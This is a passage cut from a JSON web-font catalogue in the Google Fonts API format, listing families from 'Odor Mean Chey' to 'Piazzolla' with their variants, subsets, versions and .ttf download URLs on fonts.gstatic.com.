Chey","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/odormeanchey/v12/raxkHiKDttkTe1aOGcJMR1A_4mrY2zqUKafv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Offside","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/offside/v8/HI_KiYMWKa9QrAykQ5HiRp-dhpQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Old Standard TT","variants":["regular","italic","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/oldstandardtt/v13/MwQubh3o1vLImiwAVvYawgcf2eVurVC5RHdCZg.ttf","italic":"http://fonts.gstatic.com/s/oldstandardtt/v13/MwQsbh3o1vLImiwAVvYawgcf2eVer1q9ZnJSZtQG.ttf","700":"http://fonts.gstatic.com/s/oldstandardtt/v13/MwQrbh3o1vLImiwAVvYawgcf2eVWEX-dTFxeb80flQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Oldenburg","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oldenburg/v8/fC1jPY5JYWzbywv7c4V6UU6oXyndrw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oleo Script","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/oleoscript/v9/rax5HieDvtMOe0iICsUccBhasU7Q8Cad.ttf","700":"http://fonts.gstatic.com/s/oleoscript/v9/raxkHieDvtMOe0iICsUccCDmnmrY2zqUKafv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oleo Script Swash Caps","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oleoscriptswashcaps/v8/Noaj6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HMXquSY0Hg90.ttf","700":"http://fonts.gstatic.com/s/oleoscriptswashcaps/v8/Noag6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HCcaBbYUsn9T5dt0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Open Sans","variants":["300","300italic","regular","italic","600","600italic","700","700italic","800","800italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-09-15","files":{"300":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN_r8-VeJoCqeDjg.ttf","300italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKWyV-hsKKKTjrPW.ttf","regular":"http://fonts.gstatic.com/s/opensans/v18/mem8YaGs126MiZpBA-U1UpcaXcl0Aw.ttf","italic":"http://fonts.gstatic.com/s/opensans/v18/mem6YaGs126MiZpBA-UFUJ0ef8xkA76a.ttf","600":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UNirk-VeJoCqeDjg.ttf","600italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKXGUehsKKKTjrPW.ttf","700":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN7rg-VeJoCqeDjg.ttf","700italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKWiUOhsKKKTjrPW.ttf","800":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN8rs-VeJoCqeDjg.ttf","800italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKW-U-hsKKKTjrPW.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Open Sans Condensed","variants":["300","300italic","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/opensanscondensed/v15/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhPuLGRpWRyAs.ttf","300italic":"http://fonts.gstatic.com/s/opensanscondensed/v15/z7NHdQDnbTkabZAIOl9il_O6KJj73e7Fd_-7suDMQreU2AsJSg.ttf","700":"http://fonts.gstatic.com/s/opensanscondensed/v15/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmPuLGRpWRyAs.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Oranienbaum","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/oranienbaum/v9/OZpHg_txtzZKMuXLIVrx-3zn7kz3dpHc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Orbitron","variants":["regular","500","600","700","800","900"],"subsets":["latin"],"version":"v16","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyGy6xpmIyXjU1pg.ttf","500":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyKS6xpmIyXjU1pg.ttf","600":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyxSmxpmIyXjU1pg.ttf","700":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1ny_CmxpmIyXjU1pg.ttf","800":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nymymxpmIyXjU1pg.ttf","900":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nysimxpmIyXjU1pg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Oregano","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oregano/v8/If2IXTPxciS3H4S2kZffPznO3yM.ttf","italic":"http://fonts.gstatic.com/s/oregano/v8/If2KXTPxciS3H4S2oZXVOxvLzyP_qw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Orienta","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/orienta/v8/PlI9FlK4Jrl5Y9zNeyeo9HRFhcU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Original Surfer","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/originalsurfer/v9/RWmQoKGZ9vIirYntXJ3_MbekzNMiDEtvAlaMKw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oswald","variants":["200","300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v35","lastModified":"2020-07-13","files":{"200":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs13FvgUFoZAaRliE.ttf","300":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs169vgUFoZAaRliE.ttf","regular":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs1_FvgUFoZAaRliE.ttf","500":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs18NvgUFoZAaRliE.ttf","600":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs1y9ogUFoZAaRliE.ttf","700":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs1xZogUFoZAaRliE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Over the Rainbow","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/overtherainbow/v11/11haGoXG1k_HKhMLUWz7Mc7vvW5upvOm9NA2XG0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Overlock","variants":["regular","italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/overlock/v10/Z9XVDmdMWRiN1_T9Z4Te4u2El6GC.ttf","italic":"http://fonts.gstatic.com/s/overlock/v10/Z9XTDmdMWRiN1_T9Z7Tc6OmmkrGC7Cs.ttf","700":"http://fonts.gstatic.com/s/overlock/v10/Z9XSDmdMWRiN1_T9Z7xizcmMvL2L9TLT.ttf","700italic":"http://fonts.gstatic.com/s/overlock/v10/Z9XQDmdMWRiN1_T9Z7Tc0FWJtrmp8CLTlNs.ttf","900":"http://fonts.gstatic.com/s/overlock/v10/Z9XSDmdMWRiN1_T9Z7xaz8mMvL2L9TLT.ttf","900italic":"http://fonts.gstatic.com/s/overlock/v10/Z9XQDmdMWRiN1_T9Z7Tc0G2Ltrmp8CLTlNs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Overlock SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/overlocksc/v9/1cX3aUHKGZrstGAY8nwVzHGAq8Sk1PoH.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Overpass","variants":["100","100italic","200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/overpass/v5/qFdB35WCmI96Ajtm81nGU97gxhcJk1s.ttf","100italic":"http://fonts.gstatic.com/s/overpass/v5/qFdD35WCmI96Ajtm81Gga7rqwjUMg1siNQ.ttf","200":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81lqcv7K6BsAikI7.ttf","200italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81GgaxbL4h8ij1I7LLE.ttf","300":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kOcf7K6BsAikI7.ttf","300italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga3LI4h8ij1I7LLE.ttf","regular":"http://fonts.gstatic.com/s/overpass/v5/qFdH35WCmI96Ajtm82GiWdrCwwcJ.ttf","italic":"http://fonts.gstatic.com/s/overpass/v5/qFdB35WCmI96Ajtm81GgU97gxhcJk1s.ttf","600":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81l6d_7K6BsAikI7.ttf","600italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81GgawbO4h8ij1I7LLE.ttf","700":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kedv7K6BsAikI7.ttf","700italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga2LP4h8ij1I7LLE.ttf","800":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kCdf7K6BsAikI7.ttf","800italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga37M4h8ij1I7LLE.ttf","900":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kmdP7K6BsAikI7.ttf","900italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga1rN4h8ij1I7LLE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Overpass Mono","variants":["300","regular","600","700"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/overpassmono/v6/_Xm3-H86tzKDdAPa-KPQZ-AC3oSWk_edB3Zf8EQ.ttf","regular":"http://fonts.gstatic.com/s/overpassmono/v6/_Xmq-H86tzKDdAPa-KPQZ-AC5ii-t_-2G38.ttf","600":"http://fonts.gstatic.com/s/overpassmono/v6/_Xm3-H86tzKDdAPa-KPQZ-AC3vCQk_edB3Zf8EQ.ttf","700":"http://fonts.gstatic.com/s/overpassmono/v6/_Xm3-H86tzKDdAPa-KPQZ-AC3pSRk_edB3Zf8EQ.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Ovo","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ovo/v12/yYLl0h7Wyfzjy4Q5_3WVxA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Oxanium","variants":["200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-10-22","files":{"200":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G83JfniMBXQ7d67x.ttf","300":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G80XfniMBXQ7d67x.ttf","regular":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G81JfniMBXQ7d67x.ttf","500":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G817fniMBXQ7d67x.ttf","600":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G82XeXiMBXQ7d67x.ttf","700":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G82ueXiMBXQ7d67x.ttf","800":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G83JeXiMBXQ7d67x.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oxygen","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/oxygen/v10/2sDcZG1Wl4LcnbuCJW8Db2-4C7wFZQ.ttf","regular":"http://fonts.gstatic.com/s/oxygen/v10/2sDfZG1Wl4Lcnbu6iUcnZ0SkAg.ttf","700":"http://fonts.gstatic.com/s/oxygen/v10/2sDcZG1Wl4LcnbuCNWgDb2-4C7wFZQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Oxygen Mono","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oxygenmono/v8/h0GsssGg9FxgDgCjLeAd7ijfze-PPlUu.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"PT Mono","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ptmono/v8/9oRONYoBnWILk-9ArCg5MtPyAcg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"PT Sans","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-15","files":{"regular":"http://fonts.gstatic.com/s/ptsans/v12/jizaRExUiTo99u79P0WOxOGMMDQ.ttf","italic":"http://fonts.gstatic.com/s/ptsans/v12/jizYRExUiTo99u79D0eEwMOJIDQA-g.ttf","700":"http://fonts.gstatic.com/s/ptsans/v12/jizfRExUiTo99u79B_mh4OmnLD0Z4zM.ttf","700italic":"http://fonts.gstatic.com/s/ptsans/v12/jizdRExUiTo99u79D0e8fOytKB8c8zMrig.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"PT Sans Caption","variants":["regular","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ptsanscaption/v13/0FlMVP6Hrxmt7-fsUFhlFXNIlpcqfQXwQy6yxg.ttf","700":"http://fonts.gstatic.com/s/ptsanscaption/v13/0FlJVP6Hrxmt7-fsUFhlFXNIlpcSwSrUSwWuz38Tgg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"PT Sans Narrow","variants":["regular","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/ptsansnarrow/v12/BngRUXNadjH0qYEzV7ab-oWlsYCByxyKeuDp.ttf","700":"http://fonts.gstatic.com/s/ptsansnarrow/v12/BngSUXNadjH0qYEzV7ab-oWlsbg95DiCUfzgRd-3.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"PT Serif","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/ptserif/v12/EJRVQgYoZZY2vCFuvDFRxL6ddjb-.ttf","italic":"http://fonts.gstatic.com/s/ptserif/v12/EJRTQgYoZZY2vCFuvAFTzrq_cyb-vco.ttf","700":"http://fonts.gstatic.com/s/ptserif/v12/EJRSQgYoZZY2vCFuvAnt65qVXSr3pNNB.ttf","700italic":"http://fonts.gstatic.com/s/ptserif/v12/EJRQQgYoZZY2vCFuvAFT9gaQVy7VocNB6Iw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"PT Serif Caption","variants":["regular","italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ptserifcaption/v12/ieVl2ZhbGCW-JoW6S34pSDpqYKU059WxDCs5cvI.ttf","italic":"http://fonts.gstatic.com/s/ptserifcaption/v12/ieVj2ZhbGCW-JoW6S34pSDpqYKU019e7CAk8YvJEeg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Pacifico","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v17","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/pacifico/v17/FwZY7-Qmy14u9lezJ96A4sijpFu_.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Padauk","variants":["regular","700"],"subsets":["latin","myanmar"],"version":"v7","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/padauk/v7/RrQRboJg-id7OnbBa0_g3LlYbg.ttf","700":"http://fonts.gstatic.com/s/padauk/v7/RrQSboJg-id7Onb512DE1JJEZ4YwGg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Palanquin","variants":["100","200","300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/palanquin/v6/9XUhlJ90n1fBFg7ceXwUEltI7rWmZzTH.ttf","200":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUvnpoxJuqbi3ezg.ttf","300":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwU2nloxJuqbi3ezg.ttf","regular":"http://fonts.gstatic.com/s/palanquin/v6/9XUnlJ90n1fBFg7ceXwsdlFMzLC2Zw.ttf","500":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUgnhoxJuqbi3ezg.ttf","600":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUrn9oxJuqbi3ezg.ttf","700":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUyn5oxJuqbi3ezg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Palanquin Dark","variants":["regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/palanquindark/v7/xn75YHgl1nqmANMB-26xC7yuF_6OTEo9VtfE.ttf","500":"http://fonts.gstatic.com/s/palanquindark/v7/xn76YHgl1nqmANMB-26xC7yuF8Z6ZW41fcvN2KT4.ttf","600":"http://fonts.gstatic.com/s/palanquindark/v7/xn76YHgl1nqmANMB-26xC7yuF8ZWYm41fcvN2KT4.ttf","700":"http://fonts.gstatic.com/s/palanquindark/v7/xn76YHgl1nqmANMB-26xC7yuF8YyY241fcvN2KT4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Pangolin","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pangolin/v6/cY9GfjGcW0FPpi-tWPfK5d3aiLBG.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Paprika","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/paprika/v8/8QIJdijZitv49rDfuIgOq7jkAOw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Parisienne","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/parisienne/v8/E21i_d3kivvAkxhLEVZpcy96DuKuavM.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Passero One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/passeroone/v12/JTUTjIko8DOq5FeaeEAjgE5B5Arr-s50.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Passion One","variants":["regular","700","900"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/passionone/v11/PbynFmL8HhTPqbjUzux3JHuW_Frg6YoV.ttf","700":"http://fonts.gstatic.com/s/passionone/v11/Pby6FmL8HhTPqbjUzux3JEMq037owpYcuH8y.ttf","900":"http://fonts.gstatic.com/s/passionone/v11/Pby6FmL8HhTPqbjUzux3JEMS0X7owpYcuH8y.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pathway Gothic One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pathwaygothicone/v9/MwQrbgD32-KAvjkYGNUUxAtW7pEBwx-dTFxeb80flQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Patrick Hand","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/patrickhand/v14/LDI1apSQOAYtSuYWp8ZhfYeMWcjKm7sp8g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Patrick Hand SC","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/patrickhandsc/v8/0nkwC9f7MfsBiWcLtY65AWDK873ViSi6JQc7Vg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Pattaya","variants":["regular"],"subsets":["cyrillic","latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pattaya/v6/ea8ZadcqV_zkHY-XNdCn92ZEmVs.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Patua One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/patuaone/v11/ZXuke1cDvLCKLDcimxBI5PNvNA9LuA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pavanam","variants":["regular"],"subsets":["latin","latin-ext","tamil"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pavanam/v5/BXRrvF_aiezLh0xPDOtQ9Wf0QcE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Paytone One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/paytoneone/v13/0nksC9P7MfYHj2oFtYm2CiTqivr9iBq_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Peddana","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/peddana/v8/aFTU7PBhaX89UcKWhh2aBYyMcKw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Peralta","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/peralta/v8/hYkJPu0-RP_9d3kRGxAhrv956B8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Permanent Marker","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/permanentmarker/v10/Fh4uPib9Iyv2ucM6pGQMWimMp004HaqIfrT5nlk.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Petit Formal Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/petitformalscript/v8/B50TF6xQr2TXJBnGOFME6u5OR83oRP5qoHnqP4gZSiE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Petrona","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-12-08","files":{"100":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk6NsARBH452Mvds.ttf","200":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk4NsQRBH452Mvds.ttf","300":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk7TsQRBH452Mvds.ttf","regular":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk6NsQRBH452Mvds.ttf","500":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk6_sQRBH452Mvds.ttf","600":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk5TtgRBH452Mvds.ttf","700":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk5qtgRBH452Mvds.ttf","800":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk4NtgRBH452Mvds.ttf","900":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk4ktgRBH452Mvds.ttf","100italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8uwDFYpUN-dsIWs.ttf","200italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8mwCFYpUN-dsIWs.ttf","300italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8rICFYpUN-dsIWs.ttf","italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8uwCFYpUN-dsIWs.ttf","500italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8t4CFYpUN-dsIWs.ttf","600italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8jIFFYpUN-dsIWs.ttf","700italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8gsFFYpUN-dsIWs.ttf","800italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8mwFFYpUN-dsIWs.ttf","900italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8kUFFYpUN-dsIWs.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Philosopher","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","vietnamese"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/philosopher/v14/vEFV2_5QCwIS4_Dhez5jcVBpRUwU08qe.ttf","italic":"http://fonts.gstatic.com/s/philosopher/v14/vEFX2_5QCwIS4_Dhez5jcWBrT0g21tqeR7c.ttf","700":"http://fonts.gstatic.com/s/philosopher/v14/vEFI2_5QCwIS4_Dhez5jcWjVamgc-NaXXq7H.ttf","700italic":"http://fonts.gstatic.com/s/philosopher/v14/vEFK2_5QCwIS4_Dhez5jcWBrd_QZ8tK1W77HtMo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Piazzolla","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"100":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7LYx3Ly1AHfAAy5.ttf","200":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzF